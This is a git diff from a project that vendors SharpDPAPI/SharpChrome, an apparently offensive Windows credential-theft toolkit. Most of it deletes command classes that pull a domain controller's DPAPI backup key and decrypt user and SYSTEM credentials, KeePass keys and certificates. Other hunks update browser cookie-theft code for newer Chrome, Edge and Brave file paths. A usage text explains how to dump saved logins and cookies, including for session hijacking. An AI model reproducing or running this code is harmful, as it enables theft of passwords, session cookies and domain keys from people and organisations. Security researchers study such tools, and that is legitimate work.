- Chrome.TriageStateKeys(masterkeys, server, unprotect, "", target);
- }
- else
- {
- Console.WriteLine("\r\n[X] '{0}' is not a valid file or user directory.", target);
- }
- }
- else
- {
- if (arguments.ContainsKey("/server") && (masterkeys.Count == 0))
- {
- Console.WriteLine("[!] Warning: the '/server:X' argument must be used with '/pvk:BASE64...', '/password:X' , or masterkey specification for successful decryption!");
- }
- Chrome.TriageStateKeys(masterkeys, server, unprotect);
- }
- }
- }
-}
\ No newline at end of file
diff --git a/ChloniumUI/SharpDPAPI/SharpChrome/Domain/ArgumentParser.cs b/ChloniumUI/SharpDPAPI/SharpChrome/Domain/ArgumentParser.cs
deleted file mode 100644
index 4df2c52..0000000
--- a/ChloniumUI/SharpDPAPI/SharpChrome/Domain/ArgumentParser.cs
+++ /dev/null
@@ -1,31 +0,0 @@
-using System.Collections.Generic;
-using System.Diagnostics;
-
-namespace SharpChrome.Domain
-{
- public static class ArgumentParser
- {
- public static ArgumentParserResult Parse(IEnumerable args)
- {
- var arguments = new Dictionary();
- try
- {
- foreach (var argument in args)
- {
- var idx = argument.IndexOf(':');
- if (idx > 0)
- arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1);
- else
- arguments[argument] = string.Empty;
- }
-
- return ArgumentParserResult.Success(arguments);
- }
- catch (System.Exception ex)
- {
- Debug.WriteLine(ex.Message);
- return ArgumentParserResult.Failure();
- }
- }
- }
-}
diff --git a/ChloniumUI/SharpDPAPI/SharpChrome/Domain/ArgumentParserResult.cs b/ChloniumUI/SharpDPAPI/SharpChrome/Domain/ArgumentParserResult.cs
deleted file mode 100644
index c908c62..0000000
--- a/ChloniumUI/SharpDPAPI/SharpChrome/Domain/ArgumentParserResult.cs
+++ /dev/null
@@ -1,23 +0,0 @@
-using System.Collections.Generic;
-
-namespace SharpChrome.Domain
-{
- public class ArgumentParserResult
- {
- public bool ParsedOk { get; }
- public Dictionary Arguments { get; }
-
- private ArgumentParserResult(bool parsedOk, Dictionary arguments)
- {
- ParsedOk = parsedOk;
- Arguments = arguments;
- }
-
- public static ArgumentParserResult Success(Dictionary arguments)
- => new ArgumentParserResult(true, arguments);
-
- public static ArgumentParserResult Failure()
- => new ArgumentParserResult(false, null);
-
- }
-}
\ No newline at end of file
diff --git a/ChloniumUI/SharpDPAPI/SharpChrome/Domain/CommandCollection.cs b/ChloniumUI/SharpDPAPI/SharpChrome/Domain/CommandCollection.cs
deleted file mode 100644
index 41f6b56..0000000
--- a/ChloniumUI/SharpDPAPI/SharpChrome/Domain/CommandCollection.cs
+++ /dev/null
@@ -1,46 +0,0 @@
-using System;
-using System.Collections.Generic;
-using SharpChrome.Commands;
-
-namespace SharpChrome.Domain
-{
- public class CommandCollection
- {
- private readonly Dictionary> _availableCommands = new Dictionary>();
-
- // How To Add A New Command:
- // 1. Create your command class in the Commands Folder
- // a. That class must have a CommandName static property that has the Command's name
- // and must also Implement the ICommand interface
- // b. Put the code that does the work into the Execute() method
- // 2. Add an entry to the _availableCommands dictionary in the Constructor below.
-
- public CommandCollection()
- {
- _availableCommands.Add(Backupkey.CommandName, () => new Backupkey());
- _availableCommands.Add(Logins.CommandName, () => new Logins());
- _availableCommands.Add(Cookies.CommandName, () => new Cookies());
- _availableCommands.Add(Statekeys.CommandName, () => new Statekeys());
- }
-
- public bool ExecuteCommand(string commandName, Dictionary arguments)
- {
- bool commandWasFound;
-
- if (string.IsNullOrEmpty(commandName) || _availableCommands.ContainsKey(commandName) == false)
- commandWasFound = false;
- else
- {
- // Create the command object
- var command = _availableCommands[commandName].Invoke();
-
- // and execute it with the arguments from the command line
- command.Execute(arguments);
-
- commandWasFound = true;
- }
-
- return commandWasFound;
- }
- }
-}
\ No newline at end of file
diff --git a/ChloniumUI/SharpDPAPI/SharpChrome/Domain/Info.cs b/ChloniumUI/SharpDPAPI/SharpChrome/Domain/Info.cs
deleted file mode 100644
index 239bfb5..0000000
--- a/ChloniumUI/SharpDPAPI/SharpChrome/Domain/Info.cs
+++ /dev/null
@@ -1,59 +0,0 @@
-using System;
-
-namespace SharpChrome.Domain
-{
- public static class Info
- {
- public static void ShowLogo()
- {
- Console.WriteLine("\r\n __ _ ");
- Console.WriteLine(" (_ |_ _. ._ ._ / |_ ._ _ ._ _ _ ");
- Console.WriteLine(" __) | | (_| | |_) \\_ | | | (_) | | | (/_ ");
- Console.WriteLine(" | ");
- Console.WriteLine(" v{0} \r\n", SharpDPAPI.Version.version);
- }
-
- public static void ShowUsage()
- {
- string usage = @"
-Retrieve a domain controller's DPAPI backup key, optionally specifying a DC and output file:
-
- SharpChrome backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk]
-
-
-Global arguments for the 'cookies', 'logins', and 'statekeys' commands:
-
- Decryption:
- /unprotect - force use of CryptUnprotectData() (default for unprivileged execution)
- /password:X - first decrypt the current user's masterkeys using a plaintext password. Works with any function, as well as remotely.
- GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption
- /mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption
- /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
- /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys
- /statekey:X - a decrypted AES state key (from the 'statekey' command)
-
- Targeting:
- /target:FILE - triage a specific 'Cookies', 'Login Data', or 'Local State' file location
- /target:C:\Users\X\ - triage a specific user folder for any specified command
- /server:SERVER - triage a remote server, assuming admin access (note: must use with /pvk:KEY)
- /browser:X - triage 'chrome' (the default) or (chromium-based) 'edge'/'brave'
-
- Output:
- /format:X - either 'csv' (default) or 'table' display
- /showall - show Login Data entries with null passwords and expired Cookies instead of filtering (default)
- /consoleoutfile:X - output all console output to a file on disk
- /quiet - don't output headers/etc. (for .csv/.json file output)
-
-
-'cookies' command specific arguments:
-
- /cookie:""REGEX"" - only return cookies where the cookie name matches the supplied regex
- /url:""REGEX"" - only return cookies where the cookie URL matches the supplied regex
- /format:json - output cookie values in an Cookie-Editor JSON import format. Best when used with a regex!
- /setneverexpire - set expirations for cookies output to now + 100 years (for json output)
-
-";
- Console.WriteLine(usage);
- }
- }
-}
diff --git a/ChloniumUI/SharpDPAPI/SharpChrome/lib/Bcrypt.cs b/ChloniumUI/SharpDPAPI/SharpChrome/lib/Bcrypt.cs
index aa0eee6..45a2e6c 100644
--- a/ChloniumUI/SharpDPAPI/SharpChrome/lib/Bcrypt.cs
+++ b/ChloniumUI/SharpDPAPI/SharpChrome/lib/Bcrypt.cs
@@ -116,23 +116,23 @@ public enum BCryptEncryptFlags
#region Functions
- [DllImport(nameof(BCrypt), SetLastError = true, ExactSpelling = true)]
+ [DllImport("BCrypt", SetLastError = true, ExactSpelling = true)]
public static extern uint BCryptDestroyKey(
IntPtr hKey);
- [DllImport(nameof(BCrypt), SetLastError = true, ExactSpelling = true)]
+ [DllImport("BCrypt", SetLastError = true, ExactSpelling = true)]
public static extern uint BCryptCloseAlgorithmProvider(
IntPtr algorithmHandle,
BCryptCloseAlgorithmProviderFlags flags = BCryptCloseAlgorithmProviderFlags.None);
- [DllImport(nameof(BCrypt), SetLastError = true, CharSet = CharSet.Unicode, ExactSpelling = true)]
+ [DllImport("BCrypt", SetLastError = true, CharSet = CharSet.Unicode, ExactSpelling = true)]
public static extern uint BCryptOpenAlgorithmProvider(
out SafeAlgorithmHandle phAlgorithm,
string pszAlgId,
string pszImplementation,
BCryptOpenAlgorithmProviderFlags dwFlags);
- [DllImport(nameof(BCrypt), SetLastError = true, ExactSpelling = true, CharSet = CharSet.Unicode)]
+ [DllImport("BCrypt", SetLastError = true, ExactSpelling = true, CharSet = CharSet.Unicode)]
public static extern uint BCryptSetProperty(
SafeHandle hObject,
string pszProperty,
@@ -140,7 +140,7 @@ public static extern uint BCryptSetProperty(
int cbInput,
BCryptSetPropertyFlags dwFlags = BCryptSetPropertyFlags.None);
- [DllImport(nameof(BCrypt), SetLastError = true)]
+ [DllImport("BCrypt", SetLastError = true)]
public static extern uint BCryptGenerateSymmetricKey(
SafeAlgorithmHandle hAlgorithm,
out SafeKeyHandle phKey,
@@ -150,7 +150,7 @@ public static extern uint BCryptGenerateSymmetricKey(
int cbSecret,
BCryptGenerateSymmetricKeyFlags flags = BCryptGenerateSymmetricKeyFlags.None);
- [DllImport(nameof(BCrypt), SetLastError = true)]
+ [DllImport("BCrypt", SetLastError = true)]
public static unsafe extern uint BCryptDecrypt(
SafeKeyHandle hKey,
byte* pbInput,
diff --git a/ChloniumUI/SharpDPAPI/SharpChrome/lib/Chrome.cs b/ChloniumUI/SharpDPAPI/SharpChrome/lib/Chrome.cs
index ee93ba4..101654f 100644
--- a/ChloniumUI/SharpDPAPI/SharpChrome/lib/Chrome.cs
+++ b/ChloniumUI/SharpDPAPI/SharpChrome/lib/Chrome.cs
@@ -13,7 +13,7 @@
namespace SharpChrome
{
- public class Chrome
+ class Chrome
{
internal static byte[] DPAPI_HEADER = UTF8Encoding.UTF8.GetBytes("DPAPI");
internal static byte[] DPAPI_CHROME_UNKV10 = UTF8Encoding.UTF8.GetBytes("v10");
@@ -242,16 +242,28 @@ public static void TriageChromeCookies(Dictionary MasterKeys, st
if (browser.ToLower() == "chrome")
{
cookiePath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", userDirectory);
+ if(!File.Exists(cookiePath))
+ {
+ cookiePath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network\\Cookies", userDirectory);
+ }
aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", userDirectory);
}
else if (browser.ToLower() == "edge")
{
cookiePath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Cookies", userDirectory);
+ if (!File.Exists(cookiePath))
+ {
+ cookiePath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Network\\Cookies", userDirectory);
+ }
aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", userDirectory);
}
else if (browser.ToLower() == "brave")
{
cookiePath = String.Format("{0}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Cookies", userDirectory);
+ if (!File.Exists(cookiePath))
+ {
+ cookiePath = String.Format("{0}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Network\\Cookies", userDirectory);
+ }
aesStateKeyPath = String.Format("{0}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Local State", userDirectory);
}
else
@@ -347,9 +359,6 @@ public static void TriageStateKeys(Dictionary MasterKeys, string
foreach (string userDirectory in userDirectories)
{
- var loginDataPath = "";
- var aesStateKeyPath = "";
-
string[] aesKeyPaths = new string[]
{
$"{userDirectory}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State",
@@ -536,10 +545,9 @@ public static void ParseChromeCookies(Dictionary MasterKeys, str
//string query = "SELECT cast(creation_utc as text) as creation_utc, host_key, name, path, cast(expires_utc as text) as expires_utc, is_secure, is_httponly, cast(last_access_utc as text) as last_access_utc, encrypted_value FROM cookies";
// new, seems to work with partial indexing?? "/giphy table flip"
- string query = "SELECT cast(creation_utc as text) as creation_utc, host_key, name, path, cast(expires_utc as text) as expires_utc, cast(last_access_utc as text) as last_access_utc,cast(last_update_utc as text) as last_update_utc encrypted_value FROM cookies";
+ string query = "SELECT cast(creation_utc as text) as creation_utc, host_key, name, path, cast(expires_utc as text) as expires_utc, cast(last_access_utc as text) as last_access_utc, encrypted_value FROM cookies";
List results = database.Query2(query, false);
-
// used if cookies "never expire" for json output
DateTime epoch = new DateTime(1601, 1, 1);
TimeSpan timespan = (DateTime.Now).AddYears(100) - epoch;
@@ -693,7 +701,7 @@ public static void ParseChromeCookies(Dictionary MasterKeys, str
{
Console.WriteLine("SEP=,");
}
- Console.WriteLine("file_path,host,path,name,value,creation_utc,expires_utc,last_access_utc, last_update_utc");
+ Console.WriteLine("file_path,host,path,name,value,creation_utc,expires_utc,last_access_utc");
}
someResults = true;
diff --git a/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Backupkey.cs b/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Backupkey.cs
deleted file mode 100644
index 7006d7b..0000000
--- a/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Backupkey.cs
+++ /dev/null
@@ -1,48 +0,0 @@
-using System;
-using System.Collections.Generic;
-using System.IO;
-
-namespace SharpDPAPI.Commands
-{
- public class Backupkey : ICommand
- {
- public static string CommandName => "backupkey";
-
- public void Execute(Dictionary arguments)
- {
- Console.WriteLine("\r\n[*] Action: Retrieve domain DPAPI backup key\r\n");
-
- string server = "";
- string outFile = "";
- bool noWrap = false;
-
- if (arguments.ContainsKey("/nowrap"))
- {
- noWrap = true;
- }
-
- if (arguments.ContainsKey("/server"))
- {
- server = arguments["/server"];
- Console.WriteLine("\r\n[*] Using server : {0}", server);
- }
- else
- {
- server = Interop.GetDCName();
- if (String.IsNullOrEmpty(server))
- {
- return;
- }
- Console.WriteLine("\r\n[*] Using current domain controller : {0}", server);
- }
-
- if (arguments.ContainsKey("/file"))
- {
- // if we want the backup key piped to an output file
- outFile = arguments["/file"];
- }
-
- Backup.GetBackupKey(server, outFile, noWrap);
- }
- }
-}
\ No newline at end of file
diff --git a/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Blob.cs b/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Blob.cs
deleted file mode 100644
index ef9c3d6..0000000
--- a/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Blob.cs
+++ /dev/null
@@ -1,113 +0,0 @@
-using System;
-using System.Collections.Generic;
-using System.IO;
-using System.Text;
-
-namespace SharpDPAPI.Commands
-{
- public class Blob : ICommand
- {
- public static string CommandName => "blob";
-
- public void Execute(Dictionary arguments)
- {
- Console.WriteLine("\r\n[*] Action: Describe DPAPI blob");
-
- byte[] blobBytes;
- bool unprotect = false; // whether to force CryptUnprotectData()
- byte[] entropy = null;
-
- if (arguments.ContainsKey("/unprotect"))
- {
- Console.WriteLine("\r\n[*] Using CryptUnprotectData() for decryption.");
- unprotect = true;
- }
- Console.WriteLine();
-
- if (arguments.ContainsKey("/target"))
- {
- string blob = arguments["/target"].Trim('"').Trim('\'');
- if (File.Exists(blob))
- {
- blobBytes = File.ReadAllBytes(blob);
- }
- else
- {
- blobBytes = Convert.FromBase64String(blob);
- }
- }
- else
- {
- Console.WriteLine("[X] A /target: must be supplied!");
- return;
- }
-
- // {GUID}:SHA1 keys are the only ones that don't start with /
- Dictionary masterkeys = new Dictionary();
- foreach (KeyValuePair entry in arguments)
- {
- if (!entry.Key.StartsWith("/"))
- {
- masterkeys.Add(entry.Key, entry.Value);
- }
- }
- if (arguments.ContainsKey("/pvk"))
- {
- // use a domain DPAPI backup key to triage masterkeys
- masterkeys = SharpDPAPI.Dpapi.PVKTriage(arguments);
- }
- else if (arguments.ContainsKey("/mkfile"))
- {
- masterkeys = SharpDPAPI.Helpers.ParseMasterKeyFile(arguments["/mkfile"]);
- }
- else if (arguments.ContainsKey("/password"))
- {
- string password = arguments["/password"];
- Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password);
- if (arguments.ContainsKey("/server"))
- {
- masterkeys = Triage.TriageUserMasterKeys(null, true, arguments["/server"], password);
- }
- else
- {
- masterkeys = Triage.TriageUserMasterKeys(null, true, "", password);
- }
- }
-
- if (arguments.ContainsKey("/entropy"))
- {
- entropy = Helpers.ConvertHexStringToByteArray(arguments["/entropy"]);
- }
-
- if (blobBytes.Length > 0)
- {
- byte[] decBytesRaw = Dpapi.DescribeDPAPIBlob(blobBytes, masterkeys, "blob", unprotect, entropy);
-
- if ((decBytesRaw != null) && (decBytesRaw.Length != 0))
- {
- if (Helpers.IsUnicode(decBytesRaw))
- {
- string data = "";
- int finalIndex = Array.LastIndexOf(decBytesRaw, (byte)0);
- if (finalIndex > 1)
- {
- byte[] decBytes = new byte[finalIndex + 1];
- Array.Copy(decBytesRaw, 0, decBytes, 0, finalIndex);
- data = Encoding.Unicode.GetString(decBytes);
- }
- else
- {
- data = Encoding.ASCII.GetString(decBytesRaw);
- }
- Console.WriteLine(" dec(blob) : {0}", data);
- }
- else
- {
- string hexData = BitConverter.ToString(decBytesRaw).Replace("-", " ");
- Console.WriteLine(" dec(blob) : {0}", hexData);
- }
- }
- }
- }
- }
-}
\ No newline at end of file
diff --git a/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Certificate.cs b/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Certificate.cs
deleted file mode 100644
index 930565b..0000000
--- a/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Certificate.cs
+++ /dev/null
@@ -1,171 +0,0 @@
-using System;
-using System.Collections.Generic;
-using System.IO;
-
-namespace SharpDPAPI.Commands
-{
-
- public class Certificate : ICommand
- {
- public static string CommandName => "certificates";
-
- public void Execute(Dictionary arguments)
- {
- Console.WriteLine("\r\n[*] Action: Certificate Triage");
- arguments.Remove("certificates");
-
- string server = ""; // used for remote server specification
- bool cng = false; // used for CNG certs
- bool showall = false; // used for CNG certs
- bool machineStore = false; // use the machine store instead of the personal certificate store
-
- // {GUID}:SHA1 keys are the only ones that don't start with /
- Dictionary masterkeys = new Dictionary();
- foreach (KeyValuePair entry in arguments)
- {
- if (!entry.Key.StartsWith("/"))
- {
- masterkeys.Add(entry.Key, entry.Value);
- }
- }
-
- if (arguments.ContainsKey("/cng"))
- {
- cng = true;
- }
-
- if (arguments.ContainsKey("/showall"))
- {
- showall = true;
- }
-
- if (arguments.ContainsKey("/machine"))
- {
- // machine certificate triage
-
- machineStore = true;
-
- if (arguments.ContainsKey("/mkfile"))
- {
- masterkeys = SharpDPAPI.Helpers.ParseMasterKeyFile(arguments["/mkfile"]);
- }
-
- if (arguments.ContainsKey("/target"))
- {
- string target = arguments["/target"].Trim('"').Trim('\'');
-
- if (masterkeys.Count == 0)
- {
- Console.WriteLine("\r\n[X] Either a '/mkfile:X' or {GUID}:key needs to be passed in order to use '/target' for machine masterkeys");
- }
- else
- {
- if (File.Exists(target))
- {
- Console.WriteLine("[*] Target Certificate File: {0}\r\n", target);
- Triage.TriageCertFile(target, masterkeys, cng, showall);
- }
- else if (Directory.Exists(target))
- {
- Console.WriteLine("[*] Target Certificate Folder: {0}\r\n", target);
- Triage.TriageCertFolder(target, masterkeys, cng, showall);
- }
- else
- {
- Console.WriteLine("\r\n[X] '{0}' is not a valid file or directory.", target);
- }
- }
- }
- else
- {
- if (masterkeys.Count == 0)
- {
- // if no /target and no masterkeys, try to extract the SYSTEM DPAPI creds
- if (!Helpers.IsHighIntegrity())
- {
- Console.WriteLine("[X] Must be elevated to triage SYSTEM DPAPI Credentials!");
- }
- else
- {
- masterkeys = Triage.TriageSystemMasterKeys();
-
- Console.WriteLine("\r\n[*] SYSTEM master key cache:\r\n");
- foreach (KeyValuePair kvp in masterkeys)
- {
- Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value);
- }
- Console.WriteLine();
-
- Triage.TriageSystemCerts(masterkeys);
- }
- }
- else
- {
- // if we got machine masterkeys somehow else
- Console.WriteLine(masterkeys.Count);
- Triage.TriageSystemCerts(masterkeys);
- }
- }
- }
- else
- {
- // user triage
-
- if (arguments.ContainsKey("/pvk"))
- {
- // use a domain DPAPI backup key to triage masterkeys
- masterkeys = SharpDPAPI.Dpapi.PVKTriage(arguments);
- }
- else if (arguments.ContainsKey("/mkfile"))
- {
- masterkeys = SharpDPAPI.Helpers.ParseMasterKeyFile(arguments["/mkfile"]);
- }
- else if (arguments.ContainsKey("/password"))
- {
- string password = arguments["/password"];
- Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password);
- if (arguments.ContainsKey("/server"))
- {
- masterkeys = Triage.TriageUserMasterKeys(null, true, arguments["/server"], password);
- }
- else
- {
- masterkeys = Triage.TriageUserMasterKeys(null, true, "", password);
- }
- }
- if (arguments.ContainsKey("/server"))
- {
- server = arguments["/server"];
- Console.WriteLine("[*] Triaging Certificates from remote server: {0}\r\n", server);
- Triage.TriageUserCerts(masterkeys, server, showall);
- }
-
- if (arguments.ContainsKey("/target"))
- {
- string target = arguments["/target"].Trim('"').Trim('\'');
-
- if (File.Exists(target))
- {
- Console.WriteLine("[*] Target Certificate File: {0}\r\n", target);
- Triage.TriageCertFile(target, masterkeys, cng, showall);
- }
- else if (Directory.Exists(target))
- {
- Console.WriteLine("[*] Target Certificate Folder: {0}\r\n", target);
- Triage.TriageCertFolder(target, masterkeys, cng, showall);
- }
- else
- {
- Console.WriteLine("\r\n[X] '{0}' is not a valid file or directory.", target);
- }
- }
- else
- {
- Triage.TriageUserCerts(masterkeys, "", showall);
- }
- }
-
- Console.WriteLine("\r\n[*] Hint: openssl pkcs12 -in cert.pem -keyex -CSP \"Microsoft Enhanced Cryptographic Provider v1.0\" -export -out cert.pfx");
- }
- }
-}
\ No newline at end of file
diff --git a/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Credentials.cs b/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Credentials.cs
deleted file mode 100644
index e0429ec..0000000
--- a/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Credentials.cs
+++ /dev/null
@@ -1,90 +0,0 @@
-using System;
-using System.Collections.Generic;
-using System.IO;
-
-namespace SharpDPAPI.Commands
-{
- public class Credentials : ICommand
- {
- public static string CommandName => "credentials";
-
- public void Execute(Dictionary arguments)
- {
- Console.WriteLine("\r\n[*] Action: User DPAPI Credential Triage\r\n");
- arguments.Remove("credentials");
-
- Dictionary masterkeys = new Dictionary();
- string server = ""; // used for remote server specification
-
- if (arguments.ContainsKey("/server"))
- {
- server = arguments["/server"];
- Console.WriteLine("[*] Triaging remote server: {0}\r\n", server);
- }
-
- // {GUID}:SHA1 keys are the only ones that don't start with /
-
- foreach (KeyValuePair entry in arguments)
- {
- if (!entry.Key.StartsWith("/"))
- {
- masterkeys.Add(entry.Key, entry.Value);
- }
- }
-
- if (arguments.ContainsKey("/pvk"))
- {
- // use a domain DPAPI backup key to triage masterkeys
- masterkeys = SharpDPAPI.Dpapi.PVKTriage(arguments);
- }
- else if (arguments.ContainsKey("/mkfile"))
- {
- masterkeys = SharpDPAPI.Helpers.ParseMasterKeyFile(arguments["/mkfile"]);
- }
- else if (arguments.ContainsKey("/password"))
- {
- string password = arguments["/password"];
- Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password);
- if (arguments.ContainsKey("/server"))
- {
- masterkeys = Triage.TriageUserMasterKeys(null, true, arguments["/server"], password);
- }
- else
- {
- masterkeys = Triage.TriageUserMasterKeys(null, true, "", password);
- }
- }
-
- if (arguments.ContainsKey("/target"))
- {
- string target = arguments["/target"].Trim('"').Trim('\'');
-
- if (File.Exists(target))
- {
- Console.WriteLine("[*] Target Credential File: {0}\r\n", target);
- Triage.TriageCredFile(target, masterkeys);
- }
- else if (Directory.Exists(target))
- {
- Console.WriteLine("[*] Target Credential Folder: {0}\r\n", target);
- Triage.TriageCredFolder(target, masterkeys);
- }
- else
- {
- Console.WriteLine("\r\n[X] '{0}' is not a valid file or directory.", target);
- }
- }
- else
- {
- if (arguments.ContainsKey("/server") && !arguments.ContainsKey("/pvk") && !arguments.ContainsKey("/password"))
- {
- Console.WriteLine("[X] The '/server:X' argument must be used with '/pvk:BASE64...' or '/password:X' !");
- }
- else
- {
- Triage.TriageUserCreds(masterkeys, server);
- }
- }
- }
- }
-}
\ No newline at end of file
diff --git a/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/ICommand.cs b/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/ICommand.cs
deleted file mode 100644
index 4115dd8..0000000
--- a/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/ICommand.cs
+++ /dev/null
@@ -1,9 +0,0 @@
-using System.Collections.Generic;
-
-namespace SharpDPAPI.Commands
-{
- public interface ICommand
- {
- void Execute(Dictionary arguments);
- }
-}
\ No newline at end of file
diff --git a/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Keepass.cs b/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Keepass.cs
deleted file mode 100644
index 9ef9523..0000000
--- a/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Keepass.cs
+++ /dev/null
@@ -1,91 +0,0 @@
-using System;
-using System.Collections.Generic;
-using System.IO;
-
-namespace SharpDPAPI.Commands
-{
- public class Keepass : ICommand
- {
- public static string CommandName => "keepass";
-
- public void Execute(Dictionary arguments)
- {
- Console.WriteLine("\r\n[*] Action: KeePass Triage");
- arguments.Remove("keepass");
-
- string server = ""; // used for remote server specification
- bool unprotect = false; // whether to force CryptUnprotectData()
-
- if (arguments.ContainsKey("/unprotect"))
- {
- Console.WriteLine("\r\n[*] Using CryptUnprotectData() for decryption.");
- unprotect = true;
- }
- Console.WriteLine("");
-
- if (arguments.ContainsKey("/server"))
- {
- server = arguments["/server"];
- Console.WriteLine("[*] Triaging remote server: {0}\r\n", server);
- }
-
- // {GUID}:SHA1 keys are the only ones that don't start with /
- Dictionary masterkeys = new Dictionary();
- foreach (KeyValuePair entry in arguments)
- {
- if (!entry.Key.StartsWith("/"))
- {
- masterkeys.Add(entry.Key, entry.Value);
- }
- }
- if (arguments.ContainsKey("/pvk"))
- {
- // use a domain DPAPI backup key to triage masterkeys
- masterkeys = SharpDPAPI.Dpapi.PVKTriage(arguments);
- }
- else if (arguments.ContainsKey("/mkfile"))
- {
- masterkeys = SharpDPAPI.Helpers.ParseMasterKeyFile(arguments["/mkfile"]);
- }
- else if (arguments.ContainsKey("/password"))
- {
- string password = arguments["/password"];
- Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password);
- if (arguments.ContainsKey("/server"))
- {
- masterkeys = Triage.TriageUserMasterKeys(null, true, arguments["/server"], password);
- }
- else
- {
- masterkeys = Triage.TriageUserMasterKeys(null, true, "", password);
- }
- }
-
- if (arguments.ContainsKey("/target"))
- {
- string target = arguments["/target"].Trim('"').Trim('\'');
-
- if (target.EndsWith("ProtectedUserKey.bin"))
- {
- Console.WriteLine("[*] Target ProtectedUserKey.bin File: {0}\r\n", target);
- Triage.TriageKeePassKeyFile(masterkeys, target, unprotect);
- }
- else
- {
- Console.WriteLine("[X] Target must be a ProtectedUserKey.bin file: {0}\r\n", target);
- }
- }
- else
- {
- if (arguments.ContainsKey("/server") && !arguments.ContainsKey("/pvk") && !arguments.ContainsKey("/password"))
- {
- Console.WriteLine("[X] The '/server:X' argument must be used with '/pvk:BASE64...' or '/password:X' !");
- }
- else
- {
- Triage.TriageKeePass(masterkeys, server, unprotect);
- }
- }
- }
- }
-}
\ No newline at end of file
diff --git a/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Machinecredentials.cs b/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Machinecredentials.cs
deleted file mode 100644
index 0f951b0..0000000
--- a/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Machinecredentials.cs
+++ /dev/null
@@ -1,34 +0,0 @@
-using System;
-using System.Collections.Generic;
-using System.IO;
-
-namespace SharpDPAPI.Commands
-{
- public class Machinecredentials : ICommand
- {
- public static string CommandName => "machinecredentials";
-
- public void Execute(Dictionary arguments)
- {
- Console.WriteLine("\r\n[*] Action: Machine DPAPI Credential Triage\r\n");
-
- if (!Helpers.IsHighIntegrity())
- {
- Console.WriteLine("[X] Must be elevated to triage SYSTEM DPAPI Credentials!");
- }
- else
- {
- Dictionary mappings = Triage.TriageSystemMasterKeys();
-
- Console.WriteLine("\r\n[*] SYSTEM master key cache:\r\n");
- foreach (KeyValuePair kvp in mappings)
- {
- Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value);
- }
- Console.WriteLine();
-
- Triage.TriageSystemCreds(mappings);
- }
- }
- }
-}
\ No newline at end of file
diff --git a/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Machinemasterkeys.cs b/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Machinemasterkeys.cs
deleted file mode 100644
index 9b4eda8..0000000
--- a/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Machinemasterkeys.cs
+++ /dev/null
@@ -1,31 +0,0 @@
-using System;
-using System.Collections.Generic;
-using System.IO;
-
-namespace SharpDPAPI.Commands
-{
- public class Machinemasterkeys : ICommand
- {
- public static string CommandName => "machinemasterkeys";
-
- public void Execute(Dictionary arguments)
- {
- Console.WriteLine("\r\n[*] Action: Machine DPAPI Masterkey File Triage\r\n");
-
- Dictionary mappings = Triage.TriageSystemMasterKeys(false);
-
- if (mappings.Count == 0)
- {
- Console.WriteLine("\r\n[!] No master keys decrypted!\r\n");
- }
- else
- {
- Console.WriteLine("\r\n[*] SYSTEM master key cache:\r\n");
- foreach (KeyValuePair kvp in mappings)
- {
- Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value);
- }
- }
- }
- }
-}
\ No newline at end of file
diff --git a/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Machinetriage.cs b/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Machinetriage.cs
deleted file mode 100644
index a2c4a7f..0000000
--- a/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Machinetriage.cs
+++ /dev/null
@@ -1,38 +0,0 @@
-using System;
-using System.Collections.Generic;
-using System.IO;
-
-namespace SharpDPAPI.Commands
-{
- public class Machinetriage : ICommand
- {
- public static string CommandName => "machinetriage";
-
- public void Execute(Dictionary arguments)
- {
- Console.WriteLine("\r\n[*] Action: Machine DPAPI Credential, Vault, and Certificate Triage\r\n");
- arguments.Remove("triage");
-
-
